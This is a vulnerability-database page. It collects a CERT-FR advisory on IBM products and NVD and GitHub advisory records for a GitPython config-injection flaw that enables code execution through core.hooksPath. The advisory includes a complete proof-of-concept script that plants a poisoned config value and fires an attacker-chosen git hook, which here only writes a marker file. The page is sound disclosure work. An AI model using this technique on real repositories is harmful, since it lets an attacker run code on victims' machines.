      "url": "https://www.cve.org/CVERecord?id=CVE-2025-31936"
    },
    {
      "name": "CVE-2026-41848",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41848"
    },
    {
      "name": "CVE-2026-70906",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70906"
    },
    {
      "name": "CVE-2026-67316",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67316"
    },
    {
      "name": "CVE-2025-48431",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48431"
    },
    {
      "name": "CVE-2026-73581",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
    },
    {
      "name": "CVE-2026-34481",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
    },
    {
      "name": "CVE-2026-47893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47893"
    },
    {
      "name": "CVE-2026-64002",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64002"
    },
    {
      "name": "CVE-2026-24281",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24281"
    },
    {
      "name": "CVE-2026-81665",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81665"
    },
    {
      "name": "CVE-2026-19880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19880"
    },
    {
      "name": "CVE-2026-46680",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
    },
    {
      "name": "CVE-2026-47059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
    },
    {
      "name": "CVE-2026-41293",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41293"
    },
    {
      "name": "CVE-2026-52917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52917"
    },
    {
      "name": "CVE-2026-18024",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
    },
    {
      "name": "CVE-2026-83557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
    },
    {
      "name": "CVE-2026-77310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
    },
    {
      "name": "CVE-2026-84947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84947"
    },
    {
      "name": "CVE-2026-87022",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
    },
    {
      "name": "CVE-2026-63802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63802"
    },
    {
      "name": "CVE-2026-59889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
    }
  ],
  "initial_release_date": "2026-10-16T00:00:00",
  "last_revision_date": "2026-10-16T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-1336",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-10-16T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Injection de code indirecte \u00e0 distance (XSS)"
    },
    {
      "description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
    },
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Injection SQL (SQLi)"
    },
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    },
    {
      "description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
  "vendor_advisories": [
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292213",
      "url": "https://www.ibm.com/support/pages/node/7292213"
    },
    {
      "published_at": "2026-10-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292743",
      "url": "https://www.ibm.com/support/pages/node/7292743"
    },
    {
      "published_at": "2026-10-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292742",
      "url": "https://www.ibm.com/support/pages/node/7292742"
    },
    {
      "published_at": "2026-10-11",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292010",
      "url": "https://www.ibm.com/support/pages/node/7292010"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292240",
      "url": "https://www.ibm.com/support/pages/node/7292240"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7290903",
      "url": "https://www.ibm.com/support/pages/node/7290903"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292244",
      "url": "https://www.ibm.com/support/pages/node/7292244"
    },
    {
      "published_at": "2026-10-12",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292117",
      "url": "https://www.ibm.com/support/pages/node/7292117"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292236",
      "url": "https://www.ibm.com/support/pages/node/7292236"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292232",
      "url": "https://www.ibm.com/support/pages/node/7292232"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292221",
      "url": "https://www.ibm.com/support/pages/node/7292221"
    },
    {
      "published_at": "2026-10-12",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292175",
      "url": "https://www.ibm.com/support/pages/node/7292175"
    },
    {
      "published_at": "2026-10-12",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292127",
      "url": "https://www.ibm.com/support/pages/node/7292127"
    },
    {
      "published_at": "2026-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7291777",
      "url": "https://www.ibm.com/support/pages/node/7291777"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292226",
      "url": "https://www.ibm.com/support/pages/node/7292226"
    },
    {
      "published_at": "2026-10-14",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292372",
      "url": "https://www.ibm.com/support/pages/node/7292372"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292228",
      "url": "https://www.ibm.com/support/pages/node/7292228"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292216",
      "url": "https://www.ibm.com/support/pages/node/7292216"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292217",
      "url": "https://www.ibm.com/support/pages/node/7292217"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292219",
      "url": "https://www.ibm.com/support/pages/node/7292219"
    },
    {
      "published_at": "2026-10-14",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292486",
      "url": "https://www.ibm.com/support/pages/node/7292486"
    },
    {
      "published_at": "2026-10-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292735",
      "url": "https://www.ibm.com/support/pages/node/7292735"
    },
    {
      "published_at": "2026-10-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292737",
      "url": "https://www.ibm.com/support/pages/node/7292737"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292227",
      "url": "https://www.ibm.com/support/pages/node/7292227"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292214",
      "url": "https://www.ibm.com/support/pages/node/7292214"
    },
    {
      "published_at": "2026-10-13",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7292235",
      "url": "https://www.ibm.com/support/pages/node/7292235"
    }
  ]
}

FKIE_CVE-2026-78676

Vulnerability from fkie_nvd - Published: 2026-08-25 02:16 - Updated: 2026-10-12 15:10

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w	Exploit, Vendor Advisory, Mitigation
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection	Third Party Advisory

Impacted products

	Vendor	Product	Version
	gitpython_project	gitpython	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/GitPython",
          "product": "GitPython",
          "vendor": "gitpython-developers",
          "versions": [
            {
              "lessThan": "3.1.59",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.1.59",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "D8F63184-E04E-4384-955E-8478331F9CBD",
              "versionEndExcluding": "3.1.59",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation."
    },
    {
      "lang": "es",
      "value": "GitPython anterior a 3.1.59 no logra volver a serializar de forma segura los valores de git-config de varias l\u00edneas durante las operaciones de escritura, corrompiendo los valores citados inactivos en directivas inyectadas como core.hooksPath. Los atacantes pueden crear archivos de configuraci\u00f3n con saltos de l\u00ednea incrustados que se convierten en directivas git activas despu\u00e9s de cualquier escritura de configuraci\u00f3n de GitPython no relacionada, lo que permite la ejecuci\u00f3n de c\u00f3digo arbitrario mediante la invocaci\u00f3n de un hook."
    }
  ],
  "id": "CVE-2026-78676",
  "lastModified": "2026-10-12T15:10:00.207",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-78676",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T16:08:05.771259Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T02:16:52.030",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory",
        "Mitigation"
      ],
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-88"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-284H-M62Q-GF8W

Vulnerability from github – Published: 2026-09-08 18:39 – Updated: 2026-09-08 18:39

Summary

GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

Details

CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path

A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks
Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions

A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
No authentication/role requirement inside GitPython itself.

Evidence

git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read)

Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (`gitpython-002-poc.py`)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)


if __name__ == "__main__":
    main()

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:39:40Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) \u2014 via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` \u2014 `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` \u2014 i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git\u0027s own backslash-continuation syntax), and `string_decode()` (`.decode(\u0027unicode_escape\u0027)`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this \u2014 it\u0027s the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` \u2014 not `_value_to_string_safe()` \u2014 and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython\u0027s writer assumes \u2014 a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value\u0027s content to be 